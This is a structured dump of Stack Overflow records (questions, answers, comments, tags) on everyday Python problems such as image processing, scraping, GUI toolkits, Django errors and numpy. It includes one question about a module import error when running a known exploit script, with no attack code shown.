doesFileExist except Exception as ex: return str(ex.args) def appendTimeStampToModel(ModelName): return ModelName + '_{:%Y%m%d-%H%M%S}.json'.format(datetime.datetime.now()) def appendTimeStampToConfigSpacy(ModelName): return ModelName + '_config_spacy_{:%Y%m%d-%H%M%S}.json'.format(datetime.datetime.now()) def createConfigSpacy(ModelName, DataPath, ConfigSpacyPath, TrainedModelsPath, LogDataPath): try: with open(ConfigSpacyPath, "w") as configSpacyFileHandle: msvcrt.locking(configSpacyFileHandle.fileno(), msvcrt.LK_LOCK, os.path.getsize(ConfigSpacyPath)) configDataToBeWritten = dict({ "project": ModelName, "data": DataPath, "path": TrainedModelsPath, "response_log": LogDataPath, "log_level": "INFO", "max_training_processes": 1, "pipeline": "spacy_sklearn", "language": "en", "emulate": "luis", "cors_origins": ["*…
upvote count: 1
answers question: http://stackoverflow.com/q/47374129
score: 1
type: Answer

http://stackoverflow.com/comment/81578765
type: AnswerComment
has text: I added the OS note in case `\n` makes a difference with respect to `CR LF` line terminators.
type: Comment
comment on: http://stackoverflow.com/a/47314027
score: 0

http://stackoverflow.com/comment/81435397
has text: @Ajax1234 Without any code or MCVE, anything vaguely resembling this would be a duplicate, just because of the vagueness... I'd love to reopen it if OP clarifies, otherwise there's no real point - might as well close on grounds of being too broad.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47242331
type: QuestionComment

http://stackoverflow.com/comment/81413781
score: 0
type: Comment
type: AnswerComment
has text: Thanks again, was eventually able to get it working. Is there an easy way to constrain the rolling window by date range? For example, if an entity has Q1'11, Q2'11, Q4'11, Q1'12 (i.e. it's missing Q3'11), I don't want it to sum back to Q1'11.
comment on: http://stackoverflow.com/a/47230413

http://stackoverflow.com/q/47265000
tagged with: python-imaging-library
accepted answer: http://stackoverflow.com/a/47265372
has comment: http://stackoverflow.com/comment/81481562
has answer: http://stackoverflow.com/a/47265372
tagged with: image
has comment: http://stackoverflow.com/comment/81481248
has title: Image deduction with Pillow and Numpy
type: Question
upvote count: 4
tagged with: numpy
has comment: http://stackoverflow.com/comment/81481772
has comment: http://stackoverflow.com/comment/81481200
has comment: http://stackoverflow.com/comment/81481154
has comment: http://stackoverflow.com/comment/81481321
has comment: http://stackoverflow.com/comment/81481696
has body: I have two images: and I want to export an image that just has the red "Hello" like: So I am running a simple deduction python script: from PIL import Image import numpy as np root = '/root/' im1 = np.asarray(Image.open(root+'1.jpg')) im2 = np.asarray(Image.open(root+'2.jpg')) deducted_image = np.subtract(im1, im2) im = Image.fromarray(np.uint8(deducted_image)) im.save(root+"deduction.jpg") But this returns: rather than the above. What am I doing wrong? Also do I need numpy or can I do this with just the Pillow Library? Edit: It should also work with images like this: which my code returns: Confused as to why it is so pixelated around the edges!
answer count: 1
downvote count: 0
tagged with: python
score: 4
has comment: http://stackoverflow.com/comment/81481583
favorite count: 0
has comment: http://stackoverflow.com/comment/81481397
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81481722
has comment: http://stackoverflow.com/comment/81481451

http://stackoverflow.com/q/47378429
has comment: http://stackoverflow.com/comment/81709189
has comment: http://stackoverflow.com/comment/81714324
has comment: http://stackoverflow.com/comment/81740181
has comment: http://stackoverflow.com/comment/81709800
has comment: http://stackoverflow.com/comment/90878052
has title: Python 3 web scraping with selenium : ui-dialog trouble with switching
score: 2
has comment: http://stackoverflow.com/comment/81739810
has comment: http://stackoverflow.com/comment/90877834
has comment: http://stackoverflow.com/comment/81709658
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81740643
has comment: http://stackoverflow.com/comment/81714589
upvote count: 2
accepted answer: http://stackoverflow.com/a/47393577
tagged with: http://stackoverflow.com/tag/pdf
has comment: http://stackoverflow.com/comment/81734269
downvote count: 0
answer count: 1
tagged with: selenium
has answer: http://stackoverflow.com/a/47393577
has comment: http://stackoverflow.com/comment/81739568
tagged with: web-scraping
tagged with: downloading-website-files
has comment: http://stackoverflow.com/comment/81734276
has body: I'm a student and new to Python. I would like to download pdf files (these are financial reports from different organizations) from a website, but before this I have to go through some steps. Here's the website that I'm dealing with: http://sprawozdaniaopp.mpips.gov.pl/ There are many organizations here, so I thought that it would be good to download pdfs with script. Firstly, my script clicks on Search button (without any criteria - to find all) -> as an effect whole list of links loads. When I click on link -> smaller window appears on the same site (this window refers only to organization that I clicked in). And - here's the problem - my script can't switch to that window. I was searching through the internet and found driver.switch_to.window or driver.switch_to.frame functions, but it didn't work or I didn't use it correctly. I'm afraid that this is not any frame but ui-dialog(?). When I clicked right button on this window and examined this window I found something like that: Szczegółowe informacje o organizacjiclose (...) A don't know how to tell my script to switch to this kind of dialog window (?) to enable it search for link "Sprawozdanie merytoryczne" only for 2016 year. Strange thing with this site is that when I check the link, there is for example : http://sprawozdaniaopp.mpips.gov.pl/Search/Details/0000000168 it could be opened only clicking on it left button. When I try to open it in new tab it is impossible ( why ?). The effect is below: "Server Error in '/' Application. The resource cannot be found. Description: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name changed, or is temporarily unavailable. Please review the following URL and make sure that it is spelled correctly. " Here is my script in Python: import urllib import urllib.request import requests import re url = "http://sprawozdaniaopp.mpips.gov.pl/Search/Print/13313?reporttypeId=13" r = requests.get(url) #with open(r'C:\Users\user…
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81740525
has comment: http://stackoverflow.com/comment/81740028
has comment: http://stackoverflow.com/comment/81709964
has comment: http://stackoverflow.com/comment/81735187
has comment: http://stackoverflow.com/comment/81739211
has comment: http://stackoverflow.com/comment/81723348
has comment: http://stackoverflow.com/comment/90878164
tagged with: python
has comment: http://stackoverflow.com/comment/81711446

http://stackoverflow.com/a/48451297
has comment: http://stackoverflow.com/comment/83975006
has comment: http://stackoverflow.com/comment/83975103
has comment: http://stackoverflow.com/comment/83946752
has comment: http://stackoverflow.com/comment/83971900
downvote count: 0
has comment: http://stackoverflow.com/comment/83975132
has body: To get the latest PySide, install one of the official binary wheels from PyPI which includes a bundled Qt and is therefore fully portable. For Qt5 - [Python 2.7 / Python >= 3.5]: pip install pyside2 For Qt6 - [Python >= 3.6]: pip install pyside6 The information presented in the section below relates to PySide-1.2/Qt4 and is no longer relevant unless you need to support legacy systems. Firstly, it should be pointed out that PySide depends on Qt4, which is no longer officially supported (as of December 2015). In consequence, all development efforts are now focused on PySide2 and Qt5. According to this tracker issue, there are no plans for officially supporting PySide beyond Python-3.4 - mainly due to lack of resources and the difficulty of compiling on Windows. The current position (as of February 2017), seems to be summed up by this post: This was last left as basically a wontfix, as one needs to modify both Qt 4.8 and PySide sources to compile with the compiler used for Python 3.5 on Windows. Furthermore, Qt 4.8 is no longer supported, and PySide should not be used for new projects. PySide2, the next version, is the future of Python and Qt, and supports Python 3.5. You can find out more about it on the Qt Wiki. Having said all that, there are several Linux distros that currently maintain PySide packages for Python-3.5 and/or Python-3.6. This usually only requires a small patch to the shiboken tool which generates the bindings (see the Arch Linux PKGBUILD, for example). In addition, there are Windows wheels available on Christoph Gohlke's Unofficial Windows Binaries site. (I'm afraid I don't know much about the situation for Mac, but I did find this wheel for Python-3.5). So PySide itself is still currently compatible with Python-3.5 & 3.6 - but the official installers aren't. However, if you're willing to patch the toolchain or use unofficial binaries, this shouldn't be a problem. Effectively, PySide and Qt4 are now frozen codebases, so unless there are some really …
answers question: http://stackoverflow.com/q/47362751
has comment: http://stackoverflow.com/comment/83954838
has comment: http://stackoverflow.com/comment/83955293
score: 26
type: Answer
upvote count: 26
has comment: http://stackoverflow.com/comment/83950460
has comment: http://stackoverflow.com/comment/83961766
has comment: http://stackoverflow.com/comment/83971443

http://stackoverflow.com/comment/81596200
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/47322688
has text: The error basically says that you have no strong entropy sources available: these are used for random number generation (which, in turn, is used for encryption, hashing, etc). Have a look at this, perhaps: https://github.com/spack/spack/issues/4943

http://stackoverflow.com/q/47234591
tagged with: pyqt
answer count: 1
has answer: http://stackoverflow.com/a/47234975
accepted answer: http://stackoverflow.com/a/47234975
type: Question
has body: I'm writing a unit converter using PyQt 4. Here, I'm facing a problem. class UnitConverter(QtGui.QComboBox): def __init__(self, parent=None): super(UnitConverter, self).__init__(parent) self.unitsdict = { "mass": {"g": 1, "kg": 1000, "t": 1000000, "oz": 28.3495231, "lb": 453.59237}, "pressure": {"pa": 1, "kpa": 1000, "mpa": 1000000, "bar": 100000, "atm": 101325, "tor": 133.3223684, "psi": 6894.757, "at": 98066.5} } def combo(self, measurement): for key in self.unitsdict[measurement]: self.addItem(self.tr(key), self.unitsdict[measurement][key]) def comboConnect(self, table, row, column): self.names = locals() #tablevar = "self.table_" + str(row) + "_" + str(column) self.rowvar = "self.row_" + str(row) + "_" + str(column) self.columnvar = "self.column_" + str(row) + "_" + str(column) self.names[self.rowvar] = row self.names[self.columnvar] = column self.table = table self.base = self.itemData(self.currentIndex()) self.currentIndexChanged.connect(self.change) def change(self): tobase = self.itemData(self.currentIndex()) try: self.value = float(self.table.item(self.names[self.rowvar], self.names[self.columnvar]).text()) tovalue = '%f' % (self.value * self.base / tobase) changeitem = QtGui.QTableWidgetItem(str(tovalue)) self.table.setItem(self.names[self.rowvar], self.names[self.columnvar], changeitem) except: pass self.base = tobase I want it can automatically calculate the result when I change the index of the combobox. It works when there is only one QTableWidgetItem connect to it. table = QTableWidget(10, 3) combo = Unit converter() combo.combo("pressure") table.setCellWidget(5, 0, combo) combo.comboConnect(table, 5, 1) But when I connect another QTableWidgetItem, the first one unexpectedly doesn't work any more. table = QTableWidget(10, 3) combo = Unit converter() combo.combo("pressure") table.setCellWidget(5, 0, combo) combo.comboConnect(table, 5, 1) combo.comboConnect(table, 5, 2) So, I want to know what the problem is. Or, how can I do to make the table(5, 1) wor…
tagged with: pyqt4
has title: what's the matter in this Python code?
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
score: 0

http://stackoverflow.com/q/47367544
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81687585
type: Question
has body: In Chapter 6 of Dive into Python, the author puts the rules for the function that changes singular English nouns to plural ones into a separate txt file: [sxz]$ $ es [^aeioudgkprt]h$ $ es [^aeiou]y$ y$ ies $ $ s And then uses it here: import re def rules(rules_filename): with open(rules_filename) as pattern_file: for line in pattern_file: pattern, search, replace = line.split(None, 3) yield build_match_and_apply_functions(pattern, search, replace) def build_match_and_apply_functions(pattern, search, replace): def matches_rule(word): return re.search(pattern, word) def apply_rule(word): return re.sub(search, replace, word) return (matches_rule, apply_rule) def plural(noun, rules_filename='plural.txt'): for matches_rule, apply_rule in rules(rules_filename): if matches_rule(noun): return apply_rule(noun) raise ValueError('no matching rule for {0}'.format(noun)) I've created a txt file with the rules for changing singular French nouns to plurals (but used a comma as a separator instead of space): [sxz]$,$,$ au$|\btravail\b|,au$|al$|ail,$aux \bcorail\b|,au$|al$|ail,$aux \bemail\b|,au$|al$|ail,$aux \bvitrail\b|,au$|al$|ail,$aux \banimal\b|,au$|al$|ail,$aux \bjournal\b|,au$|al$|ail,$aux \bcheval\b|,au$|al$|ail,$aux \bhopital\b,au$|al$|ail,$aux \bbijou\b|,ou$,oux \bcaillou\b|,ou$,oux \bchou\b|,ou$,oux \bgenou\b|,ou$,oux \bhibou\b|,ou$,oux \bjoujou\b|,ou$,oux \bpou\b,ou$,oux eu$,$,eux ou$,ou$,ous $,$,s And now i'm trying to use this file in the same code as the author did (I did change the name of the file here def plural(noun, rules_filename='rules.txt'), but I keep getting a ValueError: File "fr_pl4.py", line 10, in plural for matches_rule, apply_rule in rules(rules_filename): File "fr_pl4.py", line 6, in rules pattern, search, replace = line.split(',', 3) ValueError: need more than 1 value to unpack I have also used the rules form the book with the code from the book (you can find them above)... And I’m still getting the same error: &gt;&gt;&gt;plural('chat') Traceback (m…
type: UnansweredQuestion
has title: Dive into Python - ValueError: need more than 1 value to unpack
tagged with: python
has comment: http://stackoverflow.com/comment/81702768
tagged with: valueerror
has comment: http://stackoverflow.com/comment/81700868

http://stackoverflow.com/comment/81594435
type: Comment
comment on: http://stackoverflow.com/q/47317141
type: QuestionComment
score: 0
has text: uninstall pytorch completely and install again. otherwise finding the error will be tedious.

http://stackoverflow.com/q/47235460
score: 0
type: Question
tagged with: tkinter
answer count: 0
type: UnansweredQuestion
has body: Here is my code: #Game Restart Func def restart_program(): for widget in root.winfo_children(): widget.destroy() button = Button(root, text='Stop', width=25, command=root.destroy) button.pack() b1 = Button(root, text="Restart", command=restart_program) b1.pack() g = GalagaGame(root) root.after(10, g.gameLoop()) root.mainloop() This function is a function to restart the game And the main function was written like this root = Tk() button = Button(root, text='Stop', width=25, command=root.destroy) button.pack() b1 = Button(root, text="Restart", command=restart_program) b1.pack() g = GalagaGame(root) root.after(10, g.gameLoop()) root.mainloop() But there are still strange errors. Exception in Tkinter callback Traceback (most recent call last): File "C:\Users\Kim Donguk\AppData\Local\Programs\Python\Python36-32\lib\tkinter\__init__.py", line 1699, in __call__ return self.func(*args) File "C:\Users\Kim Donguk\AppData\Local\Programs\Python\Python36-32\lib\tkinter\__init__.py", line 745, in callit func(*args) File "C:\Users\Kim Donguk\Desktop\Game project\game_source\game.py", line 281, in gameLoop self.paint(self.canvas) File "C:\Users\Kim Donguk\Desktop\Game project\game_source\game.py", line 260, in paint self.canvas.delete(ALL) File "C:\Users\Kim Donguk\AppData\Local\Programs\Python\Python36-32\lib\tkinter\__init__.py", line 2508, in delete self.tk.call((self._w, 'delete') + args) _tkinter.TclError: invalid command name ".!canvas" How can I fix this error?
has comment: http://stackoverflow.com/comment/81426457
tagged with: python
has comment: http://stackoverflow.com/comment/81421727
has comment: http://stackoverflow.com/comment/81422383
has title: How to correct the "exception in Tkinter callback" error in python?

http://stackoverflow.com/comment/81634889
type: Comment
comment on: http://stackoverflow.com/a/47340626
type: AnswerComment
has text: You've found a bug in my code. I'll edit my answer with the fix.
score: 0

http://stackoverflow.com/comment/81658650
comment on: http://stackoverflow.com/a/47353241
score: 1
type: Comment
has text: This is the correct method. Documentation: https://docs.python.org/3/library/io.html#binary-i-o
type: AnswerComment

variables
tags question: http://stackoverflow.com/q/47250816
tags question: http://stackoverflow.com/q/47362844
tag name: variables
tags question: http://stackoverflow.com/q/47347286
tags question: http://stackoverflow.com/q/47274404
tags question: http://stackoverflow.com/q/47296721
tags question: http://stackoverflow.com/q/47250684
tags question: http://stackoverflow.com/q/47238903
tags question: http://stackoverflow.com/q/47292020
tags question: http://stackoverflow.com/q/47245402
tags question: http://stackoverflow.com/q/47247423
tags question: http://stackoverflow.com/q/47269001
tags question: http://stackoverflow.com/q/47351437
tags question: http://stackoverflow.com/q/47361515
tags question: http://stackoverflow.com/q/47294758
tags question: http://stackoverflow.com/q/47317493
tags question: http://stackoverflow.com/q/47377111
tags question: http://stackoverflow.com/q/47251383
type: Tag
tags question: http://stackoverflow.com/q/47355376
tags question: http://stackoverflow.com/q/47361752
tags question: http://stackoverflow.com/q/47359829

http://stackoverflow.com/comment/81462417
score: 0
has text: What a simple mistake I made, thank you so much!
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47255779

http://stackoverflow.com/q/47225028
accepted answer: http://stackoverflow.com/a/47538893
type: AnsweredQuestion
tagged with: python-2.7
score: 0
has title: ImportError: No module named kek.ccache
has answer: http://stackoverflow.com/a/47538893
answer count: 1
type: Question
linked to: http://stackoverflow.com/q/739993
has body: I really feel dumb asking this. but when am running MS14-068.py (https://github.com/bidord/pykek/blob/master/ms14-068.py) module in my kali with python version 2.7.13 i get the following error. Traceback (most recent call last): File "ms14-068.py", line 17, in &lt;module&gt; from kek.ccache import CCache, get_tgt_cred, kdc_rep2ccache ImportError: No module named kek.ccache How do i fix this? I dont know much about pythonh. I googled it for that module but couldn't find a way. Any pointers would be great!
has comment: http://stackoverflow.com/comment/81400299
tagged with: python
has comment: http://stackoverflow.com/comment/81408179

http://stackoverflow.com/a/47401770
upvote count: 1
score: 1
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/47374035
has body: You seem to have a missing bracket. quadneg = ( (int(-myB) - int(quad2)) / (2 * myA) ) quadpos = ( (int(-myB) + int(quad2)) / (2 * myA) )

http://stackoverflow.com/q/47353004
tagged with: python
tagged with: kivy
type: AnsweredQuestion
has body: test.kv :kivy 1.10.0 <CRUD>: title: self.mode + " State" size_hint: None, None size: 350, 350 auto_dismiss: False BoxLayout: orientation: "vertical" GridLayout: cols: 2 Label: text: root.label_rec_id Label: id: userid text: root.col_data[0] # root.userid Label: text: "First Name" TextInput: id: fname text: root.col_data[1] # root.fname Label: text: "Last Name" TextInput: id: lname text: root.col_data[2] # root.lname Button: size_hint: 1, 0.4 text: "Save Changes" on_release: root.package_changes(fname.text, lname.text) app.root.update_changes(root) root.dismiss() Button: size_hint: 1, 0.4 text: "Cancel Changes" on_release: root.dismiss() when click on any row then edit form open.Can i use same form for add user. At this time i click on add user then user.py file run and open a new form.how to use same form for both add update.
tagged with: python-2.7
tagged with: kivy-language
score: 0
answer count: 1
type: Question
accepted answer: http://stackoverflow.com/a/47355408
has answer: http://stackoverflow.com/a/47355408
has title: How to use same form code for add,update

http://stackoverflow.com/q/47255578
has answer: http://stackoverflow.com/a/47270154
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81462128
has comment: http://stackoverflow.com/comment/81462007
upvote count: 0
tagged with: function
score: -2
downvote count: 2
has title: Can I make a function in python treat undefined names as strings?
tagged with: python
tagged with: string
has comment: http://stackoverflow.com/comment/81462009
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81461981
has body: Say I have this code def shut_down(s): if s=='yes': return "Shutting down" else: return "whatever dude I don't even care" Is there a way for it to accept a variable (not a string) and treat it as a string? In short, is foo(undefined), possible? I tried both def shut_down(s): s=str(s) and def shut_down(str(s)): but it doesn't work. (When I enter shut_down(yes) I get the error yes is not defined. It does work when I enter shut_down('yes'), but that's not the question. Thanks!
has comment: http://stackoverflow.com/comment/81461946
has comment: http://stackoverflow.com/comment/81461909
has comment: http://stackoverflow.com/comment/81487088
has comment: http://stackoverflow.com/comment/81462178
has comment: http://stackoverflow.com/comment/81462700
accepted answer: http://stackoverflow.com/a/47270154
answer count: 1
has comment: http://stackoverflow.com/comment/81462043
has comment: http://stackoverflow.com/comment/81490828

http://stackoverflow.com/comment/81622416
has text: @Bodgan That will only make sense if `arg2` is a keyword argument. Otherwise, a positional in the fifth position, well, it's not the same in your function. Optionals take the exact position in which they appear when they are not passed as keyword argument.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47334583
type: AnswerComment

http://stackoverflow.com/comment/81663546
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47355546
type: AnswerComment
has text: Also the 'for' loop is strange to me here, so the original code calls plt.scatter three times? Are there any differences between this version of code, and the alternative you have kindly provided?

pygobject
type: Tag
tags question: http://stackoverflow.com/q/47310889
tags question: http://stackoverflow.com/q/47362730
tag name: pygobject

http://stackoverflow.com/comment/112433919
type: AnswerComment
comment on: http://stackoverflow.com/a/49850008
type: Comment
has text: `from tensorflow import keras` is identical, right?
score: 2

http://stackoverflow.com/a/47290704
type: Answer
has body: If you look into the following simple example: import torch a = torch.LongTensor([1]) b = torch.LongTensor([5]) print(a &gt; b) Output: 0 [torch.ByteTensor of size 1] Comparing tensors a and b results in a torch.ByteTensor which is obviously not equivalent to boolean. So, you can do the following. print(a[0] &gt; b[0]) # False So, you should change your if condition as follows. if (minynext[0] &lt; miny[0])
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47290053
accepted answer of: http://stackoverflow.com/q/47290053

http://stackoverflow.com/q/47274856
tagged with: stream
answer count: 1
has body: I have this python WebCam preview code, it doesn't record or any fancy stuff. It is using cv2 library, and I was wondering if it's possible to broadcast/stream via HTTP? If that is the case, this can be set up with raspberry pi later. import time import os import sys import cv2 try: def show_webcam(mirror=False): cam = cv2.VideoCapture(0) while True: ret_val, img = cam.read() if mirror: img = cv2.flip(img, 1) cv2.imshow('my webcam', img) if cv2.waitKey(1) == 27: break # esc to quit cv2.destroyAllWindows() def main(): show_webcam(mirror=True) if __name__ == '__main__': main() except KeyboardInterrupt: print('User Ended Session\n') sys.exit(0)
tagged with: http
type: Question
tagged with: opencv
has title: CV Python WebCam Stream to HTTP
tagged with: python
tagged with: webcam
has answer: http://stackoverflow.com/a/47276767
score: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/81558567
score: 0
has text: I'm using pip 9.0.1. I have tried pip install apesmit for installing apesmith.
type: Comment
comment on: http://stackoverflow.com/q/47303627
type: QuestionComment

http://stackoverflow.com/a/47243012
answers question: http://stackoverflow.com/q/47240638
type: Answer
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81436725
accepted answer of: http://stackoverflow.com/q/47240638
has body: So, it seems your graph is just for representation purpose. The numbers on the x-axis do not need to be on a scale. To plot this, you must create a x axis list which is actually to scale and just replace its labels by the elements of your sizes list. The following code shows how to do this #!/usr/bin/env python from matplotlib import pyplot as plt sizes = [1400, 1600, 1700, 1875, 1100, 1550, 2350, 2450, 1425, 1700] prices = [245, 312, 279, 308, 199, 219, 405, 324, 319, 255] plt.ylim([0, 500]) plt.xlabel("sizes") plt.ylabel("prices") x = [a for a in range(len(sizes))] plt.scatter(x,prices) plt.xticks(x, sizes) plt.show()

http://stackoverflow.com/q/47354380
has title: Python: split a dict in a list
tagged with: python
score: -1
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81662586
duplicate of: http://stackoverflow.com/q/22878743
type: AnsweredQuestion
tagged with: list
accepted answer: http://stackoverflow.com/a/47354523
has comment: http://stackoverflow.com/comment/81662816
answer count: 2
upvote count: 0
has answer: http://stackoverflow.com/a/47354523
possible better answer: http://stackoverflow.com/a/47354463
has comment: http://stackoverflow.com/comment/81661787
has comment: http://stackoverflow.com/comment/81661143
has comment: http://stackoverflow.com/comment/81661263
has answer: http://stackoverflow.com/a/47354463
has body: I want to convert a simple dict like so: d = {0:0, 1:1, 2:2, 3:3} to a list of dict with the same amount of elements in each of them (or so) as this one: [{0:0, 2:2}, {1:1, 3:3}]. I've tried with simple indexing like I use with lists but it throws me a TypeError: unhashable type: 'slice'. Here what i have right now: def dico_chunks(dico, n): if len(dico) &lt; n: n = len(dico) return [dico[i::n] for i in range(n)] Keep in mind that i don't need the list to be order in anyway. I just need to have my main dict splited in a list of n sub-dicts.
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81661573
linked to: http://stackoverflow.com/q/5764782
has comment: http://stackoverflow.com/comment/81661868
linked to: http://stackoverflow.com/q/22878743
has comment: http://stackoverflow.com/comment/81662306

http://stackoverflow.com/q/47371579
tagged with: postgresql
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81696016
score: 1
possible better answer: http://stackoverflow.com/a/47372476
has body: I'm working on a Django application which fetches JSON data from an API and stores it in PostgreSQL database. But while migrating the app I'm getting this error: ValueError: invalid literal for int() with base 10: '262,400,000' Here's the traceback: Traceback (most recent call last): File "manage.py", line 22, in &lt;module&gt; execute_from_command_line(sys.argv) File "/python/lib/python3.6/site-packages/django/core/management/__init__.py", line 363, in execute_from_command_line utility.execute() File "/python/lib/python3.6/site-packages/django/core/management/__init__.py", line 355, in execute self.fetch_command(subcommand).run_from_argv(self.argv) File "/python/lib/python3.6/site-packages/django/core/management/base.py", line 283, in run_from_argv self.execute(*args, **cmd_options) File "/python/lib/python3.6/site-packages/django/core/management/base.py", line 330, in execute output = self.handle(*args, **options) File "/app/aggregator/WorldBank/management/commands/fetch_wb.py", line 60, in handle Projects.objects.create(**pdata) File "/python/lib/python3.6/site-packages/django/db/models/manager.py", line 85, in manager_method return getattr(self.get_queryset(), name)(*args, **kwargs) File "/python/lib/python3.6/site-packages/django/db/models/query.py", line 394, in create obj.save(force_insert=True, using=self.db) File "/python/lib/python3.6/site-packages/django/db/models/base.py", line 807, in save force_update=force_update, update_fields=update_fields) File "/python/lib/python3.6/site-packages/django/db/models/base.py", line 837, in save_base updated = self._save_table(raw, cls, force_insert, force_update, using, update_fields) File "/python/lib/python3.6/site-packages/django/db/models/base.py", line 923, in _save_table result = self._do_insert(cls._base_manager, using, fields, update_pk, raw) File "/python/lib/python3.6/site-packages/django/db/models/base.py", line 962, in _do_insert using=using, raw=raw) File "/python/lib/python3.6/site-packages/django/db/mod…
tagged with: django-models
tagged with: python
has answer: http://stackoverflow.com/a/47372476
has comment: http://stackoverflow.com/comment/81695970
type: Question
tagged with: python-3.x
answer count: 2
has comment: http://stackoverflow.com/comment/81695919
accepted answer: http://stackoverflow.com/a/47388268
has comment: http://stackoverflow.com/comment/81696003
has answer: http://stackoverflow.com/a/47388268
downvote count: 0
has title: ValueError: invalid literal for int( ) with base 10: '262,400,000'
tagged with: django
upvote count: 1
has comment: http://stackoverflow.com/comment/81695998
favorite count: 0

http://stackoverflow.com/q/47349141
has title: Python - How to redirect the errors to /dev/null
has comment: http://stackoverflow.com/comment/81650168
score: 0
type: Question
tagged with: linux
has comment: http://stackoverflow.com/comment/81650189
has comment: http://stackoverflow.com/comment/81650493
answer count: 0
type: UnansweredQuestion
tagged with: python
has body: I have this fun in my python script def start_pushdata_server(Logger): Logger.write_event("Starting pushdata Server..", "INFO") retcode, stdout, stderr = run_shell(create_shell_command("pushdata-server start")) We want to redirect the standard error from pushdata-server binary to /dev/null We edit it like this: def start_pushdata_server(Logger): Logger.write_event("Starting pushdata Server..", "INFO") retcode, stdout, stderr = run_shell(create_shell_command("pushdata-server start 2>/dev/null")) but adding the 2>/dev/null in the Python code isn't valid. How can we - in Python code - send all errors from "pushdata-server start" to null ?

http://stackoverflow.com/q/47267146
has title: Is Multinomial logistic regression appropriate for this dataset?
favorite count: 0
tagged with: logistic-regression
has answer: http://stackoverflow.com/a/47267778
has body: I have the following dataset shown below. Any value between 500 &amp; 900 were categorized as A, while values between 900 &amp; ~1500 were mixed between A and B. I want to find the probability of getting A, B, and C at any value of x where x is my independent variable and A,B,C are my dependent variables. It seems to be a good fit for multinomial logistic regression. I believe the number of observations for each dependent variable is sufficient. If multinomial log regression is appropriate, I wish to uses Python's scikit learn logistic regression module to obtain my probability of A, B, and C at any value of x but I am not sure how to approach this using that module.
tagged with: python
type: Question
tagged with: multinomial
downvote count: 4
type: UnansweredQuestion
tagged with: probability
score: -3
has comment: http://stackoverflow.com/comment/81494284
answer count: 1
upvote count: 1

http://stackoverflow.com/comment/81438573
type: Comment
comment on: http://stackoverflow.com/a/47244053
type: AnswerComment
score: 0
has text: The reason I has that was because without it I get - "GET /login/ HTTP/1.1" 404

http://stackoverflow.com/comment/81485481
has text: @Link *Pytesseract* just converts your function arguments to command line arguments for tesseract. I couldn't figure out the *psm* method through command line but maybe you can.
comment on: http://stackoverflow.com/a/47266982
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/81589860
score: 0
type: Comment
has text: Thank you sascha. I adjusted my bound and got the answer I wanted. Thank you so much!!
type: AnswerComment
comment on: http://stackoverflow.com/a/47315668

http://stackoverflow.com/comment/81637843
comment on: http://stackoverflow.com/q/47342734
type: Comment
score: 0
type: QuestionComment
has text: What is your question?

http://stackoverflow.com/a/47350644
has comment: http://stackoverflow.com/comment/81727598
has body: You need to import Pyhive module The command to connect is :- from pyhive import hive conn = hive.Connection(host="YOUR_HIVE_HOST", port=PORT, username="YOU") Hope this helps with the error you are still getting - Git link
type: Answer
has comment: http://stackoverflow.com/comment/81740286
answers question: http://stackoverflow.com/q/47350584
score: 0
has comment: http://stackoverflow.com/comment/81739199

http://stackoverflow.com/q/47252508
downvote count: 0
linked to: http://stackoverflow.com/q/41760737
favorite count: 0
has answer: http://stackoverflow.com/a/47262015
has title: Jupyter Notebook figure size settings
has body: If I plot a graph or display a table in Jupyter Notebook the figures are really small and unreadable. What is the best way to set the figure size settings globally in Jupyter Notebook? For comparison in Quantopian's Notebook version plots and tables are a lot larger. I know there are separate settings for matplotlib and other libraries but I would like to set global settings. I also tried this setting, but it didn't work. %config InlineBackend.figure_format='retina'
type: Question
answer count: 2
score: 5
upvote count: 5
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/96336123
tagged with: jupyter-notebook
has answer: http://stackoverflow.com/a/47262288

http://stackoverflow.com/comment/81477466
comment on: http://stackoverflow.com/q/47260056
type: Comment
type: QuestionComment
score: 0
has text: start_new_thread is an inbuilt function of thread library. [Here](https://docs.python.org/2/library/thread.html)

http://stackoverflow.com/q/47366812
downvote count: 0
has body: I am trying to understand numpy.einsum() function but the documentation as well as this answer from stackoverflow still leave me with some questions. Let's take the einstein sum and the matrices defined in the answer. A = np.array([0, 1, 2]) B = np.array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) np.einsum('i,ij-&gt;i', A, B) So, based on my understanding of einstein sum, I would translate this function to be equivalent to the notation (A_i*B_ij) so I would obtain : j = 1 : A_1*B_11 + A_2*B_21 + A_3*B_31 j = 2 : A_1*B_12 + A_2*B_22+ A_3*B_32 and so on until j = 4. This gives j = 1 : 0 + 4 + 16 j = 2 : 0 + 5 + 18 which would be the einstein summation according to my understanding. Instead, the function does not perform the overall sum but stores the separate term in a matrix where we can spot the results of the (A_i * B_ij) 0 0 0 0 4 5 6 7 16 18 20 22 How is this actually controlled by the function ? I feel this is controlled by the output labels as mentionned in the documentation : The output can be controlled by specifying output subscript labels as well. This specifies the label order, and allows summing to be disallowed or forced when desired so somehow I assume that putting -&gt;i disables summing of the inner sums. But how does this work exactly ? This is not clear for me. Putting -&gt;j provides the actual einstein sum as expected.
answer count: 1
tagged with: numpy-einsum
type: Question
favorite count: 0
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/47368237
